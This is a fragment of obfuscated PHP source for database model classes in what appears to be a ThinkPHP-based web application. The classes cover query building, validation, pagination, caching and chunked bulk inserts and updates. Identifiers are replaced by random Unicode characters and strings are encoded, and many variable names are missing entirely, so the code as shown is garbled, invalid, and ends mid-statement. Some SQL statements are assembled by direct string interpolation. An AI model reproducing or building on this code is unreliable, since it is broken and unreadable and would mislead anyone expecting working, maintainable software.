$ȵ[0] = explode($ʐ[50], $ȵ[0]); } $ݣ = array(); if (is_array($ȵ[0])) { foreach ($ȵ[0] as $) { $ݣ[$] = $[$]; } } else { $ݣ[$ȵ[0]] = $[$ȵ[0]]; } if (!empty($[$this->getPk()])) { $ݣ[$this->getPk()] = array($ʐ[382], $[$this->getPk()]); } if ($this->where($ݣ)->find()) { return !1; } return !0; default: return $this->check($[$ȵ[0]], $ȵ[1], $ȵ[4]); } } public function check($ҏ, $, $Ą = "\x72\145\147\145\x78") { $Ṿ =& $_SERVER[]; $Ą = strtolower(trim($Ą)); switch ($Ą) { case $Ṿ[7]: case $Ṿ[383]: $ = is_array($) ? $ : explode($Ṿ[50], $); return $Ą == $Ṿ[7] ? in_array($ҏ, $) : !in_array($ҏ, $); case $Ṿ[384]: case $Ṿ[385]: if (is_array($)) { $ = $[0]; $؝ = $[1]; } else { list($, $؝) = explode($Ṿ[50], $); } return $Ą == $Ṿ[384] ? $ҏ >= $ && $ҏ <= $؝ : $ҏ < $ || $ҏ > $؝; case $Ṿ[386]: case $Ṿ[387]: return $Ą == $Ṿ[386] ? $ҏ == $ : $ҏ != $; case $Ṿ[388]: $Ǿ = mb_strlen($ҏ, $Ṿ[389]); if (strpos($, $Ṿ[50])) { list($, $؝) = explode($Ṿ[50], $); return $Ǿ >= $ && $Ǿ <= $؝; } else { return $Ǿ == $; } case $Ṿ[390]: list($ڰ, $Ƽ) = explode($Ṿ[50], $); if (!is_numeric($ڰ)) { $ڰ = strtotime($ڰ); } if (!is_numeric($Ƽ)) { $Ƽ = strtotime($Ƽ); } return NOW_TIME >= $ڰ && NOW_TIME <= $Ƽ; case $Ṿ[391]: return in_array(get_client_ip(), explode($Ṿ[50], $)); case $Ṿ[392]: return !in_array(get_client_ip(), explode($Ṿ[50], $)); case $Ṿ[379]: default: return $this->regex($ҏ, $); } } public function query($, $ኾȺ = false) { $͵ =& $_SERVER[]; if (!is_bool($ኾȺ) && !is_array($ኾȺ)) { $ኾȺ = func_get_args(); array_shift($ኾȺ); } $ = str_replace(array($͵[253], $͵[393]), $͵[53], $); $ = $this->parseSql($, $ኾȺ); return $this->db->query($); } public function execute($빼, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $빼 = $this->parseSql($빼, $); return $this->db->execute($빼); } protected function parseSql($, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[394]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[395] => $this->getTableName(), $[396] => think_config($[296]))); } $this->db->setModel($this->name); return $; } public function db($Ϧ = '', $ = '', $ = array()) { $– =& $_SERVER[]; if ($–[12] === $Ϧ && $this->db) { return $this->db; } static $麲 = array(); static $ᶵ = array(); if (!isset($ᶵ[$Ϧ]) || isset($ᶵ[$Ϧ]) && $ && $麲[$Ϧ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $–[8])) { $ = think_config($); } $Ϧ = think_guid($); $ᶵ[$Ϧ] = Db::getInstance($); } elseif (NULL === $) { $ᶵ[$Ϧ]->close(); unset($ᶵ[$Ϧ]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ѐ => $ç) { $this->setProperty($ѐ, $ç); } } $麲[$Ϧ] = $; $this->db = $ᶵ[$Ϧ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][397]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ʗ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ʗ .= $this->tableName; } else { $ʗ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ʗ); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $Ȱ =& $_SERVER[]; return isset($this->fields[$Ȱ[303]]) ? $this->fields[$Ȱ[303]] : $this->pk; } public function getDbFields() { $ރ =& $_SERVER[]; if (isset($this->options[$ރ[331]])) { $ = $this->db->getFields($this->options[$ރ[331]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$ރ[302]], $[$ރ[303]], $[$ރ[304]], $[$ރ[301]]); return $; } return !1; } public function data($ۢ = '') { $ϧ =& $_SERVER[]; if ($ϧ[12] === $ۢ && !empty($this->data)) { return $this->data; } if (is_object($ۢ)) { $ۢ = get_object_vars($ۢ); } elseif (is_string($ۢ)) { parse_str($ۢ, $ۢ); } elseif (!is_array($ۢ)) { think_exception(think_lang($ϧ[323])); } $this->data = $ۢ; return $this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[334]] = $; } elseif (!empty($)) { $this->options[$[334]][] = $; } return $this; } public function union($, $Ħ = false) { $ǖ =& $_SERVER[]; if (empty($)) { return $this; } if ($Ħ) { $this->options[$ǖ[398]][$ǖ[399]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $򪙰 = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$ǖ[398]] = array_merge($this->options[$ǖ[398]], $); return $this; } else { $򪙰 = $; } } else { think_exception(think_lang($ǖ[323])); } $this->options[$ǖ[398]][] = $򪙰; return $this; } public function cache($Ġ = true, $Ɗ = null, $㵘 = '') { $ܑ =& $_SERVER[]; if (!1 !== $Ġ) { $this->options[$ܑ[400]] = array($ܑ[97] => $Ġ, $ܑ[390] => $Ɗ, $ܑ[33] => $㵘); } return $this; } public function field($, $̣ = false) { $ހ =& $_SERVER[]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $ހ[211]; } elseif ($̣) { if (is_string($)) { $ = explode($ހ[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$ހ[325]] = $; return $this; } public function scope($̀ٺ = '', $ = NULL) { $㮢 =& $_SERVER[]; if ($㮢[12] === $̀ٺ) { if (isset($this->_scope[$㮢[37]])) { $Œ = $this->_scope[$㮢[37]]; } else { return $this; } } elseif (is_string($̀ٺ)) { $ҁ̪ = explode($㮢[50], $̀ٺ); $Œ = array(); foreach ($ҁ̪ as $ϑ) { if (!isset($this->_scope[$ϑ])) { continue; } $Œ = array_merge($Œ, $this->_scope[$ϑ]); } if (!empty($) && is_array($)) { $Œ = array_merge($Œ, $); } } elseif (is_array($̀ٺ)) { $Œ = $̀ٺ; } if (is_array($Œ) && !empty($Œ)) { $this->options = array_merge($this->options, array_change_key_case($Œ)); } return $this; } public function where($㳺, $ʙ = null) { $ =& $_SERVER[]; if (!is_null($ʙ) && is_string($㳺)) { if (!is_array($ʙ)) { $ʙ = func_get_args(); array_shift($ʙ); } $ʙ = array_map(array($this->db, $[394]), $ʙ); $㳺 = vsprintf($㳺, $ʙ); } elseif (is_object($㳺)) { $㳺 = get_object_vars($㳺); } elseif (is_array($㳺)) { foreach ($㳺 as $֋ => $ߥ) { if ((is_numeric($֋) || !$֋) && is_string($ߥ)) { if (strpos($ߥ, $[401]) === 0) { continue; } think_trace($[402], $[12], $[49]); die; } } } if (is_string($㳺) && $[12] != $㳺) { $ = array(); $[$[403]] = $㳺; $㳺 = $; } if (isset($this->options[$[327]])) { $this->options[$[327]] = array_merge($this->options[$[327]], $㳺); } else { $this->options[$[327]] = $㳺; } return $this; } public function limit($ԯ, $ᨶ = null) { $Ô =& $_SERVER[]; $this->options[$Ô[343]] = is_null($ᨶ) ? $ԯ : $ԯ . $Ô[50] . $ᨶ; return $this; } public function page($⼇, $Σ = null) { $Վ =& $_SERVER[]; $this->options[$Վ[404]] = is_null($Σ) ? $⼇ : $⼇ . $Վ[50] . $Σ; return $this; } public function comment($) { $this->options[$_SERVER[][405]] = $; return $this; } public function setProperty($, $채) { if (property_exists($this, $)) { $this->{$} = $채; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\144\x69\146\x79\124\x69\x6d\145", "\x74\151\x6d\145", "\x69\156\163\x65\x72\x74\x2c\x75\x70\x64\141\164\x65", "\x66\165\x6e\x63\x74\x69\157\x6e"), array("\143\x72\145\x61\x74\145\x54\151\155\145", "\x74\151\155\x65", "\x69\x6e\x73\145\x72\164", "\x66\x75\156\x63\164\x69\157\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($޿ = '', $ = '', $ = '') { parent::__construct($޿, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$г޷, $й׮) { $ӬȖ =& $_SERVER[]; if (!$this->checkDataAutoHas($ӬȖ[406])) { return; } $this->dataBeforeFilter($г޷, $ӬȖ[406]); } protected function _beforeUpdate(&$Ï, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[407])) { return; } $this->dataBeforeFilter($Ï, $[407]); } protected function _afterSelect(&$Ƅ, $مϚ) { if (!is_array($Ƅ)) { return; } if (!$this->checkDataAutoHas($_SERVER[][408])) { return; } foreach ($Ƅ as &$Ŝ) { $this->dataAfterFilter($Ŝ); } unset($Ŝ); } protected function _afterFind(&$լĩ, $Ė뒂) { if (!is_array($լĩ)) { return; } if (!$this->checkDataAutoHas($_SERVER[][408])) { return; } $this->dataAfterFilter($լĩ); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][409], function ($ʄ) { return addslashes($ʄ[0]); }, $); return json_decode($); } public static function textDecode($) { $گ =& $_SERVER[]; $Þ = json_encode($); $Þ = preg_replace_callback($گ[410], function ($) { return $_SERVER[][100]; }, $Þ); return json_decode($Þ); } public function setAutoIncrement($堈) { $ɴ = array($this->getPk() => $堈); $ = $this->data($ɴ)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ԇ = $this->getTableName(); $ = $this->max($this->getPk()); $˒꥿ = $this->query("\x73\150\x6f\x77\40\x74\141\142\154\x65\40\163\164\x61\164\x75\x73\40\x77\x68\x65\x72\x65\x20\x4e\141\155\x65\x3d\x27{$ԇ}\x27"); $ = $˒꥿[0][$_SERVER[][411]]; $잙翓 = max($, $); return $잙翓; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $ϯӭ, $͵ = false) { $ܰ뇔 = $this->cacheFunctionAlias($ϯӭ); if (!$ܰ뇔) { return; } foreach ($ܰ뇔 as $ưؖ => $) { $ހϭ = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $ưؖ) { return $this->cacheFunctionGet($ưؖ, $ހϭ); } if ($͵ && in_array($, $)) { $this->cacheFunctionClear($ưؖ, $ހϭ); } } } public function cacheFunctionGet($ϻ, $) { $ = $this->cacheKeyMake($ϻ, $); $皐 = Cache::get($); if (!is_array($皐)) { $皐 = call_user_func_array(array($this, $ϻ), array($, !0)); Cache::set($, $皐); } return $皐; } public function cacheFunctionClear($‚, $ߓ) { $̓ = $ߓ; if (!is_array($ߓ)) { $̓ = array($ߓ); } foreach ($̓ as $ˑ) { $ = $this->cacheKeyMake($‚, $ˑ); Cache::remove($); } } private function cacheKeyMake($, $) { $폵 =& $_SERVER[]; return get_class($this) . $폵[11] . $ . $폵[412] . $; } protected function selectPageReset() { $Ƭ =& $_SERVER[]; if (isset($GLOBALS[$Ƭ[413]])) { return; } $GLOBALS[$Ƭ[413]] = isset($GLOBALS[$Ƭ[7]][$Ƭ[414]]) ? $GLOBALS[$Ƭ[7]][$Ƭ[414]] : !1; $GLOBALS[$Ƭ[415]] = isset($GLOBALS[$Ƭ[7]][$Ƭ[404]]) ? $GLOBALS[$Ƭ[7]][$Ƭ[404]] : !1; $GLOBALS[$Ƭ[7]][$Ƭ[414]] = !1; $GLOBALS[$Ƭ[7]][$Ƭ[404]] = !1; } protected function selectPageRestore() { $ԏ =& $_SERVER[]; if (!isset($GLOBALS[$ԏ[413]])) { return; } $GLOBALS[$ԏ[7]][$ԏ[414]] = $GLOBALS[$ԏ[413]]; $GLOBALS[$ԏ[7]][$ԏ[404]] = $GLOBALS[$ԏ[415]]; if ($GLOBALS[$ԏ[7]][$ԏ[414]] === !1) { unset($GLOBALS[$ԏ[7]][$ԏ[414]]); } if ($GLOBALS[$ԏ[7]][$ԏ[404]] === !1) { unset($GLOBALS[$ԏ[7]][$ԏ[404]]); } unset($GLOBALS[$ԏ[413]]); unset($GLOBALS[$ԏ[415]]); } protected function selectPage($܎ = 200, $ߒ̷ = 1) { $ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $Ӱꄿ = 50000; $܎ = isset($in[$[414]]) && $in[$[414]] ? $in[$[414]] : $܎; if ($܎ === -1) { $in[$[414]] = !1; $Ӱꄿ = 100000000; $܎ = $Ӱꄿ; } $ = $; $[$[416]] = array(); $܎ = intval($܎); $܎ = $܎ <= 5 ? 5 : ($܎ >= $Ӱꄿ ? $Ӱꄿ : $܎); $ߒ̷ = intval(isset($in[$[404]]) && $in[$[404]] ? $in[$[404]] : $ߒ̷); $ߒ̷ = $ߒ̷ <= 1 ? 1 : $ߒ̷; $峾р = array(); $ = 1; if ($ߒ̷ == 1 && $) { $this->optionsValue($); $峾р = $this->page($ߒ̷, $܎)->select(); $ϡ = is_array($峾р) ? count($峾р) : 0; if ($ϡ < $܎) { $߿ = 1; } else { $this->optionsValue($); $ϡ = intval($this->count()); $߿ = ceil($ϡ / $܎); } } else { $this->optionsValue($); $ϡ = intval($this->count()); $߿ = ceil($ϡ / $܎); $ߒ̷ = $ߒ̷ >= $߿ ? $߿ : $ߒ̷; $this->optionsValue($); $峾р = $this->page($ߒ̷, $܎)->select(); } if (!is_array($峾р)) { $峾р = array(); } if ($߿ == 1) { $ϡ = count($峾р); } $ځ = array($[417] => array($[418] => $ϡ, $[414] => $܎, $[404] => $ߒ̷, $[419] => $߿), $[420] => $峾р); return $ځ; } protected function checkLength($, $ȡ = 0, $ = '') { $Ƙ =& $_SERVER[]; $ȡ = $ȡ ? $ȡ : 65536; if (!$ || strlen($) < $ȡ) { return; } $ = $ ? $ . $Ƙ[74] : $Ƙ[12]; show_json($ . LNG($Ƙ[421]) . "\50{$ȡ}\x29", !1); } protected function metaSet($풀, $ = null, $ = null) { $战 =& $_SERVER[]; if (!$this->tableMeta || !$풀) { return !1; } $꘎ = $this->tableMeta[$战[422]]; $菠墳 = $this->tableMeta[$战[423]]; $Ҭ = Model($菠墳); $ۻ = array($꘎ => $풀, $战[424] => $); if (is_null($)) { return $Ҭ->where(array($꘎ => $풀))->delete(); } if (is_null($) && is_string($)) { return $Ҭ->where($ۻ)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $ = array(); foreach ($ as $ӆ => $ʻ) { if (is_null($ʻ) && is_string($ӆ)) { $Ҭ->where(array($꘎ => $풀, $战[424] => $ӆ))->delete(); continue; } $this->checkLength($ʻ, !1, $菠墳 . $战[4] . $ӆ); $[] = array($꘎ => $풀, $战[97] => $ӆ, $战[425] => $ʻ); } $싰 = $战[426] . $菠墳; CacheLock::lock($싰); $Ҭ->where(array($꘎ => $풀))->addAll($, array(), !0); CacheLock::unlock($싰); return !0; } public function metaGet($, $ = false) { $椉 =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$椉[422]]; $ = Model($this->tableMeta[$椉[423]]); if ($) { $ = array($ => $, $椉[97] => $); return $->where($)->getField($椉[425]); } $ = array($ => $); $ = $->field($椉[427])->where($)->select(); $ = array_to_keyvalue($, $椉[97], $椉[425]); return $; } private function checkDataAutoHas($߰) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $ޕ) { if (in_array($߰, explode($_SERVER[][50], $ޕ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Ŷ, $橵) { $č =& $_SERVER[]; if (!is_array($Ŷ)) { return; } foreach ($this->dataAuto as $Ԁ) { $ = $Ԁ[0]; if (!in_array($橵, explode($č[50], $Ԁ[2]))) { continue; } switch (trim($Ԁ[3])) { case $č[372]: case $č[373]: $ߙ = $Ԁ[1]; $ӕ = isset($Ԁ[4]) ? (array) $Ԁ[4] : array(); if ($ߙ == $č[197] && array_key_exists($, $Ŷ)) { if (!$Ŷ[$]) { unset($Ŷ[$]); } break; } if (isset($Ŷ[$])) { array_unshift($ӕ, $Ŷ[$]); } if ($č[372] == $Ԁ[3]) { $Ŷ[$] = call_user_func_array($ߙ, $ӕ); } else { $Ŷ[$] = call_user_func_array(array(&$this, $ߙ), $ӕ); } break; case $č[322]: if (isset($Ŷ[$]) && $Ŷ[$]) { $Ŷ[$] = call_user_func_array(array(&$this, $Ԁ[1]), array($Ŷ[$])); } break; case $č[325]: $Ŷ[$] = $Ŷ[$Ԁ[1]]; break; case $č[345]: if (isset($Ŷ[$]) && !is_string($Ŷ[$])) { $Ŷ[$] = json_encode_force($Ŷ[$]); } break; case $č[374]: if ($Ŷ[$] === $č[12]) { unset($Ŷ[$]); } break; case $č[375]: $Ŷ[$] = $Ԁ[1]; default: break; } } if ($橵 == $č[406]) { $ԙ = strtolower($this->db->getDbType()); if (strpos($ԙ, $č[13]) !== 0) { return; } $Ɖ = $this->field(!0)->fields; $ߥ = $Ɖ[$č[304]]; if (isset($Ɖ[$č[303]])) { unset($ߥ[$Ɖ[$č[303]]]); } foreach ($ߥ as $ => $橵) { if (!isset($Ŷ[$])) { $Ŷ[$] = $č[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[]; foreach ($this->dataAuto as $񣔣) { $֖ݓ = $񣔣[0]; if (!isset($[$֖ݓ])) { continue; } if (!in_array($[408], explode($[50], $񣔣[2]))) { continue; } switch (trim($񣔣[3])) { case $[372]: case $[373]: $Ӎ = isset($񣔣[4]) ? (array) $񣔣[4] : array(); array_unshift($Ӎ, $[$֖ݓ]); if (isset($񣔣[4]) && $񣔣[4] == $[428]) { $Ӎ = array($[$֖ݓ]); } if ($[372] == $񣔣[3]) { $[$֖ݓ] = call_user_func_array($񣔣[1], $Ӎ); } else { $[$֖ݓ] = call_user_func_array(array(&$this, $񣔣[1]), $Ӎ); } break; case $[322]: if (isset($[$֖ݓ]) && $[$֖ݓ]) { $[$֖ݓ] = call_user_func_array(array(&$this, $񣔣[1]), array($[$֖ݓ])); } break; case $[325]: $[$֖ݓ] = $[$񣔣[1]]; break; case $[345]: $ = $[$֖ݓ]; $[$֖ݓ] = json_decode($, !0); if (is_null($[$֖ݓ])) { $[$֖ݓ] = $; } break; case $[374]: if ($[$֖ݓ] === $[12]) { unset($[$֖ݓ]); } break; case $[375]: $[$֖ݓ] = $񣔣[1]; break; default: break; } } } public function saveAll($) { $摮 =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ܘ = $摮[429]; $̇˨ = 0; $݇ = array(); $ī = count($); for ($鯶 = 0; $鯶 < $ī; $鯶++) { $Ǘ = $[$鯶]; if (!is_array($Ǘ) || count($Ǘ) != 4) { continue; } $κ = "\125\120\x44\101\124\105\x20\x60{$}\x60\x20\x53\x45\124\40{$Ǘ[2]}\x20\75\x20\103\x41\x53\105\x20{$Ǘ[0]}\x20\xa"; if ($̇˨ == 0) { $ܘ = $κ; } $݇[] = $摮[121] . $Ǘ[1] . $摮[121]; $̇˨++; $ܘ .= "\40\127\110\105\x4e\40\x27{$Ǘ[1]}\47\40\x54\110\105\116\x20\47{$Ǘ[3]}\47\40\12"; if ($̇˨ == $ || $鯶 == $ī - 1) { $٦ = implode($摮[50], $݇); $ܘ .= "\40\x45\x4e\104\x20\40\127\110\105\122\105\x20{$Ǘ[0]}\x20\x49\x4e\x20\x28{$٦}\x29\40"; $this->execute($ܘ); $̇˨ = 0; $ܘ = $κ; $this->chunkEventCheck(count($݇)); $݇ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $˧ = $this->tablePrefix . $this->tableName; foreach ($ as $㯜) { if (!is_array($㯜) || count($㯜) != 4) { continue; } $ = $㯜[0] . $[430] . $㯜[1] . $[121]; $ = $㯜[2] . $[430] . $㯜[3] . $[121]; $ = "\x75\160\x64\x61\164\145\40{$˧}\x20\163\x65\x74\40{$}\x20\x77\x68\x65\x72\x65\x20{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ٳ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $ٳ; } private function chunkEventCheck($ӥ) { if (!$this->_chunkEvent) { return; } $ڳ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ڳ[$_SERVER[][431]] = $ӥ; Hook::trigger($this->_chunkEvent, $ڳ); } public function addAll($毩, $ = array(), $چ = false) { $ߏ =& $_SERVER[]; ignore_timeout(); $ᶦ = self::SQL_WHERE_IN_CHUNK; if (empty($毩)) { $this->error = think_lang($ߏ[323]); return !1; } $ = $this->_parseOptions($); foreach ($毩 as $ => $) { $毩[$] = $this->_facade($); $this->_beforeInsert($毩[$], $); } if (method_exists($this->db, $ߏ[324])) { for ($҃ = 0; $҃ < count($毩); $҃ += $ᶦ) { $ = array_slice($毩, $҃, $ᶦ); if (!is_array($) || count($) == 0) { break; } $뮆 = $this->db->insertAll($, $, $چ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($毩 as $ => $) { $뮆 = $this->db->insert($, $, $چ); } $this->commit(); } if (!1 !== $뮆) { $ՙ = $this->getLastInsID(); if ($ՙ) { return $ՙ; } } return $뮆; } public function save($ݪ = '', $Ԍ = array()) { $ =& $_SERVER[]; $˫侢 = self::SQL_WHERE_IN_CHUNK; $ͪ = $this->optionsValue(); $ = $this->findWhereField($ͪ); if (!$) { return parent::save($ݪ, $Ԍ); } $ꏒ = 0; $ɖ = $ͪ[$[327]][$][1]; $ɖ = is_array($ɖ) ? $ɖ : array(); $ = count($ɖ); for ($ = 0; $ < $; $ += $˫侢) { $ճʨ = array_slice($ɖ, $, $˫侢); if (!is_array($ճʨ) || count($ճʨ) == 0) { break; } $ͪ[$[327]][$][1] = $ճʨ; $this->optionsValue($ͪ); $ꏒ += parent::save($ݪ, $Ԍ); $this->chunkEventCheck(count($ճʨ)); } $this->chunkEventSet(); return $ꏒ; } public function add($އ = '', $ɲ = array(), $ = false) { if ($this->addTaskStatus && is_array($އ)) { $this->addTaskData[] = $އ; return; } return parent::add($އ, $ɲ, $); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ȑ =& $_SERVER[]; $ = $GLOBALS[$ȑ[6]][$ȑ[432]]; if (!$[$ȑ[433]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $ => $ǡ) { if (is_array($ǡ) && count($ǡ) == 2 && $ǡ[0] == $ȑ[434] && is_string($ǡ[1]) && substr($ǡ[1], 0, 1) == $ȑ[435] && substr($ǡ[1], strlen($ǡ[1]) - 1, 1) == $ȑ[435]) { $ = !0; $ = is_string($) ? $ : $; $ = substr($ǡ[1], 1, strlen($ǡ[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $ȑ[10])) { $ = $ȑ[436] . $ . $ȑ[436]; } $ = $ȑ[211] . $ . $ȑ[211]; $ = str_replace(array($ȑ[10], $ȑ[437], $ȑ[11]), $ȑ[438], $); if ($[$ȑ[439]]) { $ = $ȑ[440] . $ . $ȑ[441]; if ($[$ȑ[442]]) { $ = $ȑ[441] . $ . $ȑ[440]; } } $[$] = $ȑ[443] . $ . $ȑ[444] . $ . $ȑ[445]; $++; continue; } if (is_array($ǡ)) { $ = is_string($) ? $ : $; $ǡ = $this->parseWhereLike($ǡ, $, !0, $); } if (is_numeric($)) { $[$] = $ǡ; $++; } else { $[$] = $ǡ; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($Ҕָ = array()) { $ =& $_SERVER[]; $͒ = self::SQL_WHERE_IN_CHUNK; $ɳ = $this->optionsValue(); $Ƹב = $this->findWhereField($ɳ); if (!$Ƹב || isset($ɳ[$[343]]) || isset($ɳ[$[404]])) { return parent::select($Ҕָ); } $ú = $ɳ[$[327]][$Ƹב][1]; $ú = is_array($ú) ? $ú : array(); $ = null; for ($ = 0; $ < count($ú); $ += $͒) { $ = array_slice($ú, $, $͒); if (!is_array($) || count($) == 0) { break; } $ɳ[$[327]][$Ƹב][1] = $; $this->optionsValue($ɳ); $ = parent::select($Ҕָ); if (!$) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $); } return $; } public function delete($ē = array()) { $Ō =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($ē); } $ = 0; $– = $[$Ō[327]][$][1]; $– = is_array($–) ? $– : array(); for ($ = 0; $ < count($–); $ += $) { $ = array_slice($–, $, $); if (!is_array($) || count($) == 0) { break; } $[$Ō[327]][$][1] = $; $this->optionsValue($); $ += parent::delete($ē); } return $; } private function findWhereField($㬷) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($㬷) || !is_array($㬷[$[327]])) { return !1; } foreach ($㬷[$[327]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($¢ = true) { think_config($_SERVER[][446], $¢); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\x79\x73\164\145\x6d\x4f\160\x74\x69\157\x6e"; public $field = array(); public function listData($䐘 = false, $ʳՙ = "\155\x6f\x64\151\x66\171\124\151\155\x65", $ϳׅ = false) { $ڷۛ = Model($this->modelType)->get(!1, $this->optionType, !0); $б = array_values($ڷۛ); if ($б && $б[0] && !is_array($б[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ڷۛ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$ڷۛ) { return $䐘 ? null : array(); } if (!$䐘) { $ڷۛ = array_filter(array_values($ڷۛ)); return array_sort_by($ڷۛ, $ʳՙ, $ϳׅ); } return $ڷۛ[$_SERVER[][447] . $䐘]; } public function insert($Ν) { $뉀 =& $_SERVER[]; $Ν = array_field_key($Ν, $this->field); $ = Model($this->modelType)->get($뉀[448], $this->optionType . $뉀[449]); $ = $ ? $ : 0; $Ν[$뉀[450]] = ++$; $Ν[$뉀[222]] = time(); $Ν[$뉀[88]] = time(); Model($this->modelType)->set($뉀[448], $, $this->optionType . $뉀[449]); Model($this->modelType)->set($뉀[447] . $, $Ν, $this->optionType); return $; } public function update($̯, $ϖ) { $꒾ =& $_SERVER[]; $ϖ = array_field_key($ϖ, $this->field); $ͧ뒡 = $this->listData($̯); if (!$ͧ뒡 || !$̯) { return !1; } $ϖ = array_merge($ͧ뒡, $ϖ); $ϖ[$꒾[88]] = time(); return Model($this->modelType)->set($꒾[447] . $̯, $ϖ, $this->optionType); } public function remove($DZ) { if (!$DZ) { return !1; } return Model($this->modelType)->remove($_SERVER[][447] . $DZ, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[448], $this->optionType . $[449]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($󎸺, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $󎸺); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $Ʋ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ԳǮ = array(); for ($߇Һ = 0; $߇Һ < count($); $߇Һ++) { $ԳǮ[$Ʋ[447] . $[$߇Һ][$Ʋ[450]]] = $[$߇Һ]; } return Model($this->modelType)->set($ԳǮ, !1, $this->optionType); } private function getAutoName($) { $倓 = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$倓 || !isset($倓[$])) { return $; } for ($ʉ = 1; $ʉ < count($倓); $ʉ++) { $ = $ . "\x28{$ʉ}\x29"; if (!isset($倓[$])) { return $; } } return $; } } goto E·; f씽: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\x65\162\137\x66\141\x76"; protected function cacheFunctionAlias($̦) { $ =& $_SERVER[]; return array($[2068] => array($[2482] . USER_ID, $[2069])); } protected function listData() { $ =& $_SERVER[]; $ю = array($[1744] => USER_ID, $[533] => array($[2072], 0)); $ = $[2483]; $ʯ = $this->field($)->where($ю)->order($[2075])->select(); return $ʯ ? $ʯ : array(); } protected function addToTag($, $) { $ =& $_SERVER[]; if (!Model($[2219])->listData($)) { return !1; } if (is_numeric($)) { $ё = Model($[869])->pathInfo($); if (!$ё) { return !1; } } else { $ё = IO::infoSimple($); if (!$ё) { return !1; } $֙ = $ё[$[32]]; $ԋ = $ё[$[33]]; if (isset($ё[$[460]])) { $ԋ = $ё[$[460]] == $[91] ? $[78] : $[221]; } } $ӘЮ = array($[1744] => USER_ID, $[533] => $, 